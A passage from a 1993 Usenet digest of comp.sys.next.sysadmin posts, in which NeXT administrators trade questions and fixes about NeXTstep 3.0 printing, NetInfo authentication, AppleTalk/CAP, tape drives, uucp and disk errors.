From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: Preventing Optical Disc Ejection Message-ID: <18109@umd5.umd.edu> Date: 23 Jan 93 22:13:13 GMT References: <1jq0lqINN15h@calvin.usc.edu> <1js071INN4gk@menudo.uh.edu> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <1js071INN4gk@menudo.uh.edu> sears@uh.edu writes: >Yes. Have unix mount the drive during the boot process. You can do this >by placing the proper information about the disk in the file /etc/fstab. >Please see an earlier article "Re: hard drive mounting" that I just >posted. It should also apply to Optical disks. This is good only from the logical standpoint. All it takes is a long, thin object and the OD can be made to eject physically. Same goes for CD ROMs, which I found out much to my dismay (the NeXT gets *really* *confused* when you eject a disk without telling it). Plugging the appropriate hole/button with some key-based removable object is the only way I can think of to do that. Either that or something similar to fire alarms -- you can pull it, but you get sprayed with lots o' nasty white stuff too. <evil grin> >Paul S. Sears ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ To err is human, to moo bovine.
From: da0g+@andrew.cmu.edu (David Apfelbaum) Newsgroups: comp.sys.next.sysadmin Subject: Re: Boot option question? Message-ID: <sfMPz_G00WA7AZyg5A@andrew.cmu.edu> Date: 23 Jan 93 11:59:38 GMT Article-I.D.: andrew.sfMPz_G00WA7AZyg5A Organization: Sponsored account, Mathematics, Carnegie Mellon, Pittsburgh, PA Thank you all! The correct answer was to use the 'p' command in the ROM monitor mode and disable the "verbose boot" option. Thanks again for that quick response.... -David.
From: pkron@corona.wa.com (Peter Kron) Newsgroups: comp.sys.next.sysadmin Subject: Re: Great book on NFS Sysadmin Message-ID: <17.UUL1.3#16216@corona.wa.com> Date: Sat, 23 Jan 93 06:05:59 PDT References: <C19JBD.n21@ux1.cso.uiuc.edu> Organization: Corona Design, Inc., Seattle, WA > From: lemson@ux1.cso.uiuc.edu (David Lemson) > Message-ID: <C19JBD.n21@ux1.cso.uiuc.edu> > > CCGREG@mizzou1.missouri.edu (Greg Johnson) writes: > > >I just ran across a book that I wish I had seen much earlier. It not only > >describes how NFS works, but is loaded with diagnostic and problem-solving > >tips. The NIS material if not useful at least makes me feel more > >appreciative of NetInfo. The book is: > > > >_Managing_NFS_and_NIS_, by Hal Stern, O'Reilly & Associates, Inc. Copyright > >1991, reprinted April 1992 with minor corrections. ISBN 0-937175-75-7. > > I have this book and highly recommend it as well, but I read in OS > Today recently that he is going to issue a new edition sometime this > year that will cover NIS+. No big deal to most NeXT people but if > you have to manage (gag) Solaris systems, be on the lookout for it. I haven't seen this book, but have several others in the O'Reilly series, (with a few more on the wish list). I recommend them all. Anyone new to UNIX (or just mystified) should check them out. --------------- Peter Kron Corona Design, Inc. Peter_Kron@corona.wa.com
Newsgroups: comp.sys.next.sysadmin From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Installing off CD ROM in a non-default directory Message-ID: <1993Jan24.031703.25838@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Sun, 24 Jan 1993 03:17:03 GMT Is there an easier way to install NextCD software packages off the CD-ROM for installing NS 3.0 and be able to place the programs in a place other than ("/") the root, aside from copying the relevant software installer.pkg into a writable disk and directory and then changing the file_to_install.info file so that it allows you to install in a user-selectable space? Thanks, Joe | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library joer@inca.law.csuohio.edu | "We look for things ... to make us go!"
Newsgroups: comp.sys.next.sysadmin From: bee@watarts.uwaterloo.ca (Bill E. Eickmeier) Subject: CAP under NeXTstep 3.0 Message-ID: <C1E4qK.2CA@watserv2.uwaterloo.ca> Keywords: CAP NeXT NeXTstep Sender: news@watserv2.uwaterloo.ca Organization: University of Waterloo Date: Mon, 25 Jan 1993 03:37:31 GMT Does CAP compile and work under NeXTstep 3.0? I'd appreciate any success stories or failures which people might think are worth mentioning... Thanks, Bill Bill E. Eickmeier, bee@watarts.uwaterloo.ca Department of Psychology, University of Waterloo, Waterloo, Ontario, N2L 3G1 room: PAS 1102 phone: 519-885-1211 x6638 fax: 519-746-8631
Newsgroups: comp.sys.next.sysadmin From: barry@ictv.com (Barry Lustig) Subject: Re: NeXTs running 3.0 *probably* cannot swap to a raw partition Message-ID: <1993Jan25.074420.16279@ictv.com> Sender: usenet@ictv.com Organization: ICTV, Santa Clara, CA (408) 562-9200 References: <1993Jan21.195003.6023@ictv.com> <CEDMAN.93Jan21153237@capitalist.princeton.edu> Date: Mon, 25 Jan 1993 07:44:20 GMT In article <CEDMAN.93Jan21153237@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: Not quite so fast. All you found out that the BSD system call to enable swaping is a dummy call. From that one might conclude that the NeXT can not swap at all just as quickly as that it can not swap to a raw partition. Fortunately that is not so as virtual memory is one of the system services which is provided by Mach through the mach_swapon system call and not BSD on a NeXT. And mach_swapon is _not_ a dummy call. Careful analysis of this call and its subroutines might reveal that indeed it is impossible to swap to a raw partition (as I believe it is). This analysis is left as an exercise to the reader. Carl Edman As I mentioned to Carl in a mail message, I did look at mach_swapon as well. As far as I can tell, mach_swapon uses the vnode pager code. This provides for paging to a file, not to a raw device. One can also look at the virtual memory sub-system of 386bsd or Berkeley net-2. Both of them use the mach virtual memory system. barry --
Newsgroups: comp.sys.next.sysadmin From: bwild@fzi.de Subject: Re: CAP under NeXTstep 3.0 Message-ID: <1993Jan25.072734.23701@fzi.de> Sender: news@fzi.de (FZI-news) Organization: FZI Forschungszentrum Informatik, Karlsruhe, Germany References: <C1E4qK.2CA@watserv2.uwaterloo.ca> Date: Mon, 25 Jan 1993 07:27:34 GMT In article <C1E4qK.2CA@watserv2.uwaterloo.ca> bee@watarts.uwaterloo.ca (Bill E. Eickmeier) writes: > > Does CAP compile and work under NeXTstep 3.0? I'd appreciate any > success stories or failures which people might think are worth > mentioning... > > Thanks, > Bill > > Bill E. Eickmeier, bee@watarts.uwaterloo.ca > Department of Psychology, University of Waterloo, Waterloo, Ontario, N2L 3G1 > room: PAS 1102 phone: 519-885-1211 x6638 fax: 519-746-8631 We have CAP 6.0 running on our NeXTs under 2.1 and 3.0 without any problems. In contrast to the Appleshare client software of NeXT which is part of NS3.0 the CAP package exhibits a very good stability and reasonable performance. After the porting of Adobe LaserWriter fonts from Mac to NeXT via Metamorphosis we can even use the NeXT laser printer without any problems. The only prerequisite is an Appletalk/Internet gateway (e.g. Kinetics FastPath or Cayman Gatorbox) because the NeXT version of CAP doesn't support EtherTalk, i.e. the direct integration of Macs with Ethernet cards and NeXTs. Bernd Wild =============================================== Bernd Wild Forschungszentrum Informatik FZI Dept. Technical Expert Systems and Robotics Haid-und-Neu-Strasse 10-14 D-7500 Karlsruhe GERMANY Tel: +49-721-9654-310 Fax: +49-721-9654-309 email: bwild@fzi.de ===============================================
Newsgroups: comp.sys.next.sysadmin From: sieu@cory.Berkeley.EDU ( TECKCHENG SIEU) Subject: UPDATE: DESKTOP V1.5 Message-ID: <1993Jan25.091126.6633@pasteur.Berkeley.EDU> Sender: sieu@cory.berkeley.edu Organization: University of California, at Berkeley Date: Mon, 25 Jan 1993 09:11:26 GMT Hi Everyone, Firstly, thanks for all who have contributed their suggestions to improve Desktop v1.5 is now due for release. Although Desktop v1.1 provides virtual screens, free form dock and advanced features to support the concepts of virtual screen and free form dock, there is still room for improvement. So, Desktop v1.5 is released as a compilation of new ideas contributed by a few NeXT users and myself. All the functions of Desktop v1.5 are fully enabled for a period of time so that NeXT users have a chance to see how helpful Desktop can be and where it stands when compared to product like Virtspace 3.0. Below are the features of Desktop v1.0, Desktop v1.1 and Desktop v1.5 Features of Desktop v1.0 ======================== - Desktop provides four virtual screens with one being the active screen at any one time. - Desktop automatically switches from the current screen to the correct virtual screen that contains the window that you need. Alternatively, you can ask Desktop to move that window to your current screen instead. - Desktop offers a number of operations on any window, eg. floating a window so that the window will always appear in the active screen, raising a window, sending a window to any of the virtual screens etc. - Besides window management, Desktop also manages the application icons that are created by Workspace when you launch any application. These application icons can become misaligned or buried under other windows sometimes. With Desktop, you can tidy the icons, hide them, unhide them or place them in front of other windows etc. - Desktop offers its free-form dock that can be comprised of application icons, folder icons and even data file icons. In fact, the dock can be made up of just any type of icons that appear in the file browser. The status of each Desktop dock icon is reflected by the three little dots just like any NeXT dock icon (this is applicable to application icons only). For other types of Desktop icons, eg. directory icon, a big dot appears on the lower left corner instead of the three dots to indicate that Desktop will not keep track of the status for this icon. Of course, the user-customizable Desktop dock can be edited and saved for future Desktop session. - Desktop offers a new input method like that of a X-window manager. Desktop has the miniaturization of the four virtual sceens in the Desktop Window. However, this does not mean that whenever you need to perform an operation on a window eg. to move a window from one screen to another, you have to drag the miniature view of that window in the Desktop Window. This can be inconvenient. Instead, just move the mouse to the window (the actual window, not the miniature view). Then hold down the "Alternate" key first before moving the mouse. The WindowOp/NeXTApp Icon/Desktop Icon submenu will pop up depending on whether the window is really a normal window, a NeXT app icon or a Desktop icon. You can then pick the desired operation from the menu. - If the machine workload is heavy, adjust the refresh rate accordingly or even turn it off. Click on the Update button at the Desktop window to manually update the display of the windows. Features of Desktop v1.1 ======================== In addition to the above-mentioned features, Desktop1.1 has the following new features: - Desktop 1.1 consumes little CPU power, yet peforms operations faster than Desktop 1.0. - Auto Flip Screen feature for automatically switching to the correct screen when you drag a window beyond the boundary of the active screen. This feature can be conveniently disabled for individual window-dragging sessions if necessary. - 2 new icon features: i) Auto-tidy icons for aligning icons neatly at the bottom of the screen at all times. ii) Group icons for grouping icons by application that owns these icons. - Popup submenu can be disabled if it causes interference by other programs. Features of Desktop v1.5 ======================== In addition to the above-mentioned features, Desktop v1.5 has the following new features: - DesktopIcons can be autoLaunched like the NeXT dock. - Intuitive, practical and nice user-interface: pretty icons and slim palette You can now forget about the Desktop Window. The slick-looking palette is all you need to keep around in the Workspace. It updates you with vital information and allows you to perform functions simply by clicking the buttons. - More preference options. i) AutoLaunching DesktopIcons can be compulsory or optional. ii) Miniaturize Desktop Window upon startup iii)Miniaturize Paleete upon startup - Central password file so that Desktop only needs to be registed once. - a few bug fixes so that Desktop is getting more robust. Well, I am surprised that so many people are interested in Desktop v1.1. I hope more suggestions will roll in so that I can make Desktop to be even better. Lastly, I like to announce that my email address has changed. 128a-2fh@web will be expired soon. To get a fully functional Desktop v1.5 demo (in uuencoded tar format), please email sieu@cory.berkeley.edu or send mail to : Teck-Cheng Sieu P.O. Box 367 Berkeley, CA 94701-0367 All current users of Desktop v1.1 are entitled to free upgrade to Desktop v1.5. Desktop v1.5 is $30 per copy but group discount is available.
From: ruppert@next1.rz.fh-heilbronn.de (Michael Ruppert) Newsgroups: comp.sys.next.sysadmin Subject: problems with remote printing Date: 25 Jan 1993 10:49:47 GMT Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany) Message-ID: <1k0gkbINNa1p@nic.BelWue.DE> Hi, I m having a big problem with an IBM 4019E PS printer. I need to access this device across the ethernet and the risc6000 computer. neither nis or netinfo is being used. the problem is that no file gets printed and there is no error message on the next. Note: I am using a NeXT cube color with NS 3.0. Any ideas? Michael Ruppert ruppert@next1.rz.fh-heilbronn.de
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: pmelo@pombo.inescc.pt (Paulo Melo) Subject: NeXT and Archive Tape Drives - SOLUTION Message-ID: <1993Jan25.120433.13206@pombo.inescc.pt> Followup-To: comp.sys.next.hardware,poster Summary: A solution for the problem of using Archive Tape drives on NeXT Keywords: Solution Archive Tape Drives SCSI Organization: INESC - Nucleo de Coimbra Date: Mon, 25 Jan 1993 12:04:33 GMT Some time ago I made a posting asking about possible solutions for a Archive Tape drive in which the tape control commands worked, but the data transfer didn't. As promised, here goes a solution that works (well, it worked for me :-). The following is a little C program I compiled and put on my rc.local, that set's the transfer settings for use of fixed 512 bytes blocks. This code is taken from NeXTanswers. (BTW, if you still don't have it, go and get NeXTanswers. It's a great place to search for NeXTinformation needed for both users and sysadmins). ---------------------------------------------------------------------- /* * The following code configures the SCSI tape driver for /dev/rst0 * to support fixed-sized data transfers of 512 bytes each. */ #include <sys/types.h> #include <sys/file.h> #include <nextdev/scsireg.h> main() { int fd, error; int blocksize = 512; /* or whatever block size your tape likes*/ fd = open("/dev/rst0", O_RDWR, 777); if (ioctl(fd, MTIOCFIXBLK, &blocksize)) { perror("ioctl failedn"); return 1; } close (fd); return 0; } ------------------------------------------------------------------- Objnote: If you compile this code with NeXTStep 3.0 with will warn you about using old (version 2.0) headers. Forget the warnings. I didn't, and the code I compiled with the 3.0 headers didn't work. You have been warned. Objthanks: I would like to thank jimc@tau-ceti.isc-br.com (Jim Cathey), harit@kripalu.com (Harit) and lliou@sdcc3.UCSD.EDU (Lily Liou) for their kind help and answers to my request. Thanks, boys and girls. -- Paulo Melo | "once again the sound of crying pmelo@inescc.pt | is #1 across the earth..." Prefab Sprout
Newsgroups: comp.sys.next.sysadmin From: nader@bogart (Nader Sahyouni) Subject: external SCSI device question Message-ID: <1993Jan25.171549.18067@news.acns.nwu.edu> Keywords: external SCSI Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA Date: Mon, 25 Jan 1993 17:15:49 GMT We have an external A/D SCSI device connected to our cube. Every time a user logs in, they get an alert panel saying: "unreadable SCSI device: Initialize? or Ignore?". Under NeXTStep 2.1, we had disabled this with an entry in fstab of the form: /dev/sd2a "/Untitled" ignore noauto,rw,noquota 1 2 which seemed to work just fine. Now that we upgraded to 3.0, that solution seems no longer to be adequate. Any ideas out there on how we could get the NeXT to stop asking us about that device every time we log in? Any info would be appreciated. thanks, xns@nwu.edu
From: sbart@atlantis.tamu.edu (Stephen Bartholomew) Newsgroups: comp.sys.next.sysadmin Subject: Stripping Ctrl-D from remote print jobs Date: 25 Jan 1993 18:52:52 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1k1cu4INNnf7@tamsun.tamu.edu> I have networked a PC to my NeXTstation at home using FTP softwares PC/TCP. I am having problems printing to my NeXT printer from Microsoft windows 3.1 because windows postscript interpreter likes to put a Ctrl-D at the begining and ending of each file it sends out. If I print to a file and remove the first ctrl-d and then send it to the printer it prints just fine. I found a reference to unix printing in a readme file in windows that said if I put the following statement in my win.ini file under the printer definition it would remove the ctrl-d's "CtrlD=0" but this does not seem to work. Has anyone had this problem before or know what I am doing wrong? Can I put a filter in my /etc/printcap to strip any ctrl-d's out of the print stream? Stephen Bartholomew sbart@atlantis.tamu.edu Texas A&M University
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: anderson@macc.wisc.edu (Jess Anderson) Subject: Network Management Software Using NeXTstep Message-ID: <1993Jan25.185855.16310@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison Date: Mon, 25 Jan 93 18:58:55 GMT We run a number of wide-area networks. We use a Digital product (DEC MCC/MSU) running on Ultrix machine as our main tool for monitoring these networks. I'm the only one in my group with a NeXT machine, but a couple of the others are interested in NeXT because of the ease and power of NeXTstep as a development tool. They asked me, and I simply don't know, whether there are tools already available for NeXT for managing networks, things on the order of Sun Net Manager, for example. Has anyone other there in netland found or made tools of this sort? -- [Jess Anderson <> Madison Academic Computing Center <> University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
Newsgroups: comp.sys.next.sysadmin From: gary@nshade.uah.ualberta.ca (Gary Ritchie) Subject: 2.2 Needed Message-ID: <1993Jan25.200850.9036@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Mon, 25 Jan 1993 20:08:50 GMT For various reasons, I have to downgrade 41 Turbo NeXTs from 3.0 to 2.2. Problem is, nobody around here has a 2.2 distribution, or even a 2.2 hard drive to build from. I'm not sure what the licensing implications are, but does anyone have an original 2.2 distribution on (yech) floppies that they could arrange to lend/rent/lease/ftp :-) to me? Was 2.2 ever shipped on a CD, because that would be even better. I haven't talked to NeXT about this yet, but does anyone know if they will still ship pre-3.0 software? Aaarrgghh!! --- Gary Ritchie
Newsgroups: comp.sys.next.sysadmin From: hoymand@wissago.wisc.edu (Dirk Herr-Hoyman) Subject: Re: CAP under NeXTstep 3.0 Message-ID: <1993Jan25.182909.24681@pslu1.psl.wisc.edu> Keywords: Ethertalk, CAP, Next Sender: news@pslu1.psl.wisc.edu (USENET News System) Organization: Physical Sciences Lab, UW-Madison References: <1993Jan25.072734.23701@fzi.de> Date: Mon, 25 Jan 93 18:29:09 GMT In article <1993Jan25.072734.23701@fzi.de> bwild@fzi.de writes: > We have CAP 6.0 running on our NeXTs under 2.1 and 3.0 without any problems. In > contrast to the Appleshare client software of NeXT which is part of NS3.0 the > CAP package exhibits a very good stability and reasonable performance. After > the porting of Adobe LaserWriter fonts from Mac to NeXT via Metamorphosis we > can even use the NeXT laser printer without any problems. The only prerequisite > is an Appletalk/Internet gateway (e.g. Kinetics FastPath or Cayman Gatorbox) > because the NeXT version of CAP doesn't support EtherTalk, i.e. the direct > integration of Macs with Ethernet cards and NeXTs. > Could you explain how you have your Next and your AppleTalk network connected? If Ethertalk is not supported, I am not clear as to how this is done. Also, do you know if anyone is working to bring up Ethertalk? -- Dirk Herr-Hoyman Internet Publishing Specialist University of Wisconsin - Extension hoymand@wisplan.uwex.edu 608-262-0518 (voice) 608-265-2530 (fax)
From: iarit@slate.mines.colorado.edu (ARIT ISMAIL) Newsgroups: comp.sys.next.sysadmin Subject: X for color NeXT?????...... Message-ID: <1993Jan25.193401.60380@slate.mines.colorado.edu> Date: 25 Jan 93 19:34:01 GMT Organization: Colorado School of Mines Hi there, I don't know if this is the right place to post this question, but I need some help with getting X up and running on color NeXT. Does anybody know where I can get X (need binaries, don't have space to compile) for color NeXT? I got X for Mono(2 bits) NeXT up and running, but the same binaries doesn't work for color one( show very small multiple windows on the screen). I appreciate any help. iarit@slate.mines.colorado.edu
Newsgroups: comp.sys.next.sysadmin From: jchin@prodigy.bc.ca (Joseph Chin) Subject: NeXT printer problem: reverse print order Message-ID: <1993Jan25.230459.8288@prodigy.bc.ca> Sender: news@prodigy.bc.ca Organization: Prodigy Technologies Corp. Date: Mon, 25 Jan 1993 23:04:59 GMT Hello folks, The hardworking NeXT Laser Printer at our site generously provides print services to a few less fortunate Sun Sparcstations and servers. Everything works fine except that the NLP has a nasty habit of reversing the page order of the output pages. I seem to recall someone posting a fix to that problem quite a while ago. Can one of you kind souls dig up that solution or propose any others that may alleviate this minor but increasingly annoying problem? Thanks. Joe -- Joseph Chin Prodigy Technologies Corp. jchin@prodigy.bc.ca (NeXTmail welcome) 1190 Hornby Street, 11th flr phone 16046874636 Vancouver, British Columbia fax 16046871671 V6Z 2K5
Newsgroups: comp.sys.next.sysadmin From: rich@pencil.cs.missouri.edu (Rich Winkel) Subject: Why won't my Next print to Sun printer? Message-ID: <rich.728008387@pencil> Sender: news@mont.cs.missouri.edu Organization: University of Missouri Date: 26 Jan 93 00:33:07 GMT I can print to other nexts with no problem, and even to a gatorbox. But when I try to print to a sun, the file just sits in the queue in the "active" slot. The sun's local printer error log says: ps: %%[ Error: timeout; OffendingCommand: timeout ]%% Any ideas? Here's the next's printcap: chicone: \ :note=Chicone Laserwriter:ty=LaserWriter Plus:rp=lw:lp=:rm=chicone: \ :lo=lock:sd=/usr/spool/NeXT/chicone: Thanks for any help! Rich
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: NetInfo authentication Message-ID: <18152@umd5.umd.edu> Date: 26 Jan 93 02:06:55 GMT Sender: news@umd5.umd.edu Organization: University of Maryland, College Park, MD Does anyone have any ideas as to why I'm getting authentication errors when trying to edit data served by another machine, when that domain's root password is empty (it isn't always empty, just testing)? Here's the exact situation. Voyager is our two level NetInfo server, so it serves / and /voyager. (It's a NeXTcube, this is all NeXTstep 3.0.) Pioneer, a color station, serves /pioneer. Pioneer can not authenticate itself to / or /voyager. It just can't. At first I thought it was some sort of trusted_networks glitch, but we don't use trusted_networks. Then I thought it might've been a machine/IP address/ethernet address mismatch, but all the relevant data seemed fine. Heck, I'm stumped on this one. Anyone else have any ideas? ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ One of the saddest lessons of history is this: If we've been bamboozled long enough, we tend to reject any evidence of the bamboozle. We're no longer interested in finding out the truth. The bamboozle has captured us. it is simply too painful to acknowledge -- even to ourselves -- that we've been so credulous. (So the old bamboozles tend to persist as the new bamboozles rise.) -- Carl Sagan, "The Fine Art of Baloney Detection," Parade, February 1, 1987
From: crs@crs-sys.ersys.edmonton.ab.ca (Chris Gregors) Newsgroups: comp.sys.next.sysadmin Subject: Configuring uucp dialup/dialout Message-ID: <1993Jan26.015439.21819@crs-sys.uucp> Date: Tue, 26 Jan 1993 01:54:39 GMT Distribution: comp Organization: Confusion Control I know that this has been covered before, but it's not in the FAQ'z and my archive doesn't cover this group. So I'll ask. I've got a nextcube running 3.0 that connects to this machine. I currently have it setup to poll me, but I'd like to poll it. When I followed the config procedures for tip/uucp I get the message /dev/cufa busy This occurs once I change the /etc/ttys entry for the port to 'on' and do the kill -HUP 1 to restart it. I read the section on arbritration of the comports and don't see anything wrong. I've tried every kinda config to get it to work and have had no luck The entry in the /etc/ttys file is: ttydfa "/usr/etc/getty std.19200" dialup on The entry in the /etc/remote file uses dv=/dev/cufa. This works fine if the ttys entry is 'off' The entry in the /etc/uucp/L-devices file is: DIR cufa unused 19200 direct So what gives? TIA <crs> -- | Chris Gregors aka General Mayhem crs@crs-sys Edmonton Alberta Canada | | The secrets of the universe are very simple, I just can't figure them out! |
From: crs@crs-sys.ersys.edmonton.ab.ca (Chris Gregors) Newsgroups: comp.sys.next.sysadmin Subject: Novell netware filesystems Message-ID: <1993Jan26.015750.21901@crs-sys.uucp> Date: Tue, 26 Jan 1993 01:57:50 GMT Distribution: comp Organization: Confusion Control Is it possible to publish the Next volume as a netware accessable filesystem using the stock configuration or am I dreaming? ie: access Next files from a Novell workstation. The opposite of accessing a Novell fileserver from the Next. <crs> -- | Chris Gregors aka General Mayhem crs@crs-sys Edmonton Alberta Canada | | The secrets of the universe are very simple, I just can't figure them out! |
Newsgroups: comp.sys.next.sysadmin From: bwild@fzi.de Subject: Re: CAP under NeXTstep 3.0 Message-ID: <1993Jan26.093530.15705@fzi.de> Sender: news@fzi.de (FZI-news) Organization: FZI Forschungszentrum Informatik, Karlsruhe, Germany References: <1993Jan25.182909.24681@pslu1.psl.wisc.edu> Date: Tue, 26 Jan 1993 09:35:30 GMT In article <1993Jan25.182909.24681@pslu1.psl.wisc.edu> hoymand@wissago.wisc.edu (Dirk Herr-Hoyman) writes: > Could you explain how you have your Next and your AppleTalk network connected? > If Ethertalk is not supported, I am not clear as to how this is done. > > Also, do you know if anyone is working to bring up Ethertalk? > All Macs are grouped together to LocalTalk clusters, typically 5 to 10 Macs per cluster. In every cluster a Kinetics FastPath is running which is hooked directly to our Ethernet backbone. The FP serves * as a bridge between different LocalTalk clusters, thus connecting them together logically (i.e. the user doesn't see the Ethernet part) * as a gateway for MacTCP packages. These are Internet packages wrapped in AppleTalk packages. The FP removes the wrapper and sends them to the Ethernet as plain Internet packages and vice versa. * as a bridge for EtherTalk packages as they can be send by Ethernet-equipped Macs. But, the other Ethernet hosts like Suns or NeXTs have to understand the EtherTalk protocol. Up to now NeXT has only built in the AppleTalk protocol. EtherTalk is supported on some platforms by CAP but not on NeXT. To answer your last question, I don't know. But with the distribution of NeXTs on university campuses I think it's only a matter of time when this will be available. Bernd Wild =============================================== Bernd Wild Forschungszentrum Informatik FZI Dept. Technical Expert Systems and Robotics Haid-und-Neu-Strasse 10-14 D-7500 Karlsruhe GERMANY Tel: +49-721-9654-310 Fax: +49-721-9654-309 email: bwild@fzi.de ===============================================
From: brandyn@goofy.apple.COM (Brandyn) Newsgroups: comp.sys.next.sysadmin,comp.sys.mac.system,comp.sys.next.misc Subject: Generating PORTABLE Postscript from a Mac? Keywords: postscript print Message-ID: <34929@goofy.apple.COM> Date: 26 Jan 93 08:00:24 GMT Followup-To: poster Organization: Apple Computer Inc., Cupertino, CA Has anyone out there successfully printed Mac generated postscript on a NeXT? I'm having a strange problem where the font gets slightly warped -- it is the correct font and all, but many of the characters have a point in their outline translated to their origin. Makes it look like I got the page wet and smudged everything down and left. In addition, I have to prepend the line "%! foo" to the beginning of the files to get them to print at all. This prevents the NeXT from trying to interpret the file as conforming postscript -- otherwise, I get nothing at all (it complains about the "BoundingBox: ? ? ? ?" line). I've looked at macps and a couple of other packages out there that are supposed to make this work, but none seem to deal with these particular problems (most have added problems, actually). Please respond via email, as I have limitted news access. Thanks, -Brandyn (brandyn@apple.com)
Newsgroups: comp.sys.next.sysadmin From: zeke@znext.cts.com (james dehnert) Subject: Back to 2.0 ? Message-ID: <1993Jan26.041701.387@znext.cts.com> Sender: zeke@znext.cts.com (james dehnert) Organization: pnet Date: Tue, 26 Jan 1993 04:17:01 GMT When I installed 3.0 all seemed well, but my system has been getting progressivley less and less stable. My system crashes about once a day, and that's only because I'm not around to reboot it more often. I'm contemplating re-installing from a totally clean disk and, arghhhhhh re compiling all the local software I have. No small effort. I have sent mail to nest asking if there is some kind of debugging tool that will allow me to trace the cause of these crashes, but the only response I got was a letter telling me I could pay for service if I liked. Does anyone know what I could use to discober the cause of these crashes? Zeke -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+\|/+= Eschew Obfuscation Next Mail Welcome =+\|/+= +=/|\=+ James "Zeke" Dehnert zeke@znext.cts.com +=/|\=+
Newsgroups: comp.sys.next.sysadmin From: zaphod@ctrg.rri.uwo.ca (Lance R. Bailey) Subject: NewGrazer hangs and dies Organization: University of Western Ontario Distribution: na Date: Tue, 26 Jan 1993 13:48:01 GMT Message-ID: <1993Jan26.134801.23380@julian.uwo.ca> Sender: news@julian.uwo.ca (USENET News System) I have a user here with an odd problem wrt NewsGrazer. He will be reading news, when suddenly the mouse pointer will start to spin and NewsGrazer will die, dumping core on his home area. He says that the first time it takes 20 minutes to do this, then shorter and shorter times until he can only read news for 2 minutes at a time. I run the same executable from /LocalApps and do not see this problem. He reads about 147 groups, i read about 34 and other than that, there is little difference betwixt our .newsrc files, he has pruned out all very long article lists in the .newsrc. -- Lance R. Bailey System/Network Manager Robarts Research Institute NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr. vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: NetInfo authentication Date: 26 Jan 1993 15:31:34 GMT Organization: University of Houston Message-ID: <1k3lgmINNq80@menudo.uh.edu> References: <18152@umd5.umd.edu> In article <18152@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews) writes: #Does anyone have any ideas as to why I'm getting authentication errors when #trying to edit data served by another machine, when that domain's root #password is empty (it isn't always empty, just testing)? # If there is not a "root" account on a level in the Netinfo structure, then that level can only be modified on the machine that serves it. To solve this problem, add a root user to the particular level you want to be able to change from clients (i.e, in your case, add a "root" user to the / domain). The root users in these domains can have different passwords if you like and can make for added security since you will have to supply a password to make any changes to that particular domain. This would me that if someone got root on your server, they would only be able to screw with the local netinfo domain on that server (unless all your root passwords in Netinfo are the same!)... #Here's the exact situation. Voyager is our two level NetInfo server, so it #serves / and /voyager. (It's a NeXTcube, this is all NeXTstep 3.0.) #Pioneer, a color station, serves /pioneer. # #Pioneer can not authenticate itself to / or /voyager. It just can't. At #first I thought it was some sort of trusted_networks glitch, but we don't use #trusted_networks. Then I thought it might've been a machine/IP #address/ethernet address mismatch, but all the relevant data seemed fine. I would suggest that you use trusted_networks. Otherwise anyone can snarf any of your netinfo data by using tags. #------ #Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) #------ #One of the saddest lessons of history is this: If we've been bamboozled #long enough, we tend to reject any evidence of the bamboozle. We're no #longer interested in finding out the truth. The bamboozle has captured #us. it is simply too painful to acknowledge -- even to ourselves -- that #we've been so credulous. (So the old bamboozles tend to persist as the #new bamboozles rise.) #-- Carl Sagan, "The Fine Art of Baloney Detection," Parade, February 1, 1987 -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: wsmith@cs.utexas.edu (Wesley C. Smith) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Hard disk media errors Date: 26 Jan 1993 10:06:36 -0600 Organization: CS Dept, University of Texas at Austin Sender: Wesley C. Smith Message-ID: <1k3nicINNjnt@im4u.cs.utexas.edu> References: <1993Jan26.151807.12447@athena.mit.edu> Summary: What needs to be done with media errors? Keywords: Media Errors, Disk, Bad Blocks I have a new disk drive (Toshiba MK538FB) and have been getting several media errors. So for it has had about 10 in three weeks, one of which caused some files to be lost. None of the media errors has occured twice on the same block. Does that mean that 3.0 has marked those blocks as bad, the blocks are borderline bad, or that my lightly used system hasn't tried to read those blocks again? What needs to be done about the Media errors? Please e-mail any suggestions or comments. I have included the errors from /usr/adm/messages at the end. Thanks, Wes Smith wes@arissoft.com (NeXTmail) Target 0: MEDIA ERROR; block 22a921H retry 1 Target 0: MEDIA ERROR; block 1657bH retry 1 Jan 7 15:59:23 arissoft mach: Target 